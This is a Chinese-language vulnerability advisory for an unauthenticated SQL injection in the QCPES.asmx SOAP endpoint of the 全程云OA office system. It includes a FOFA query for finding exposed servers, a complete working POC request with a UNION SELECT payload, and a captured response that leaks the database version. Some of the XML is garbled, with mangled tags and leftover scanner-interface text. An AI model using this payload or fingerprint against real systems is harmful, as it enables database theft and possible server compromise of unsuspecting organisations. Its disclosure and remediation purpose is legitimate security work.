

全程云OA系统QCPES.asmx存在SQL注入漏洞

漏洞描述

全程云OA系统QCPES.asmx接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

全程云OA

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="images/yipeoplehover.png"

POC/EXP：

POST /OA/PES/QCPES.asmx HTTP/1.1

Host: 127.0.0.1

Content-Type: text/xml; charset=utf-8

Content-Length: length

SOAPAction: "<http://tempuri.org/GetCode>"

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  soap:Body
```

```
<fk_parid>1' UNION ALL SELECT @@VERSION-- oCWH</fk_parid>
```

[/soap:Body](#)
[/soap:Envelope](#)

发送请求强制 HTTPS历史

数据扫描热加载构造请求

Request

```
1 POST /OA/PES/QCPES.asmx HTTP/1.1
2 Host:
3 Content-Type: text/xml; charset=utf-8
4 Content-Length: length
5 SOAPAction: "http://tempuri.org/GetCode"
6
7 <?xml version="1.0" encoding="utf-8"?>
8 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/
  XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9   <soap:Body>
10    <GetCode xmlns="http://tempuri.org/">
11      <fk_parid>1' UNION ALL SELECT @@VERSION--oCWH</fk_parid>
12    </value>1</value>
13    </GetCode>
14  </soap:Body>
15 </soap:Envelope>
```

Responses 544bytes / 37ms美化

```
1 HTTP/1.1 200 OK
2 Cache-Control: private, max-age=0
3 Content-Type: text/xml; charset=utf-8
4 X-Powered-By: ASP.NET
5 Date: Tue, 12 Nov 2024 03:55:37 GMT
6 Content-Length: 544
7
8 <?xml version="1.0" encoding="utf-8"?><soap:Envelope
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/
  XMLSchema"><soap:Body><GetCodeResponse xmlns="http://
  tempuri.org/"><GetCodeResult>Microsoft SQL Server 2008 R2
  (RTM) -- 10.50.1600.1 (X64)
9   Apr 2 2010 15:48:46
10  Copyright (c) Microsoft Corporation
11  Enterprise Edition (64-bit) on Windows NT 6.2 &lt;X64&
  gt; (Build 9200:) (Hypervisor)
12 </GetCodeResult></GetCodeResponse></soap:Body></
  soap:Envelope>
```

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本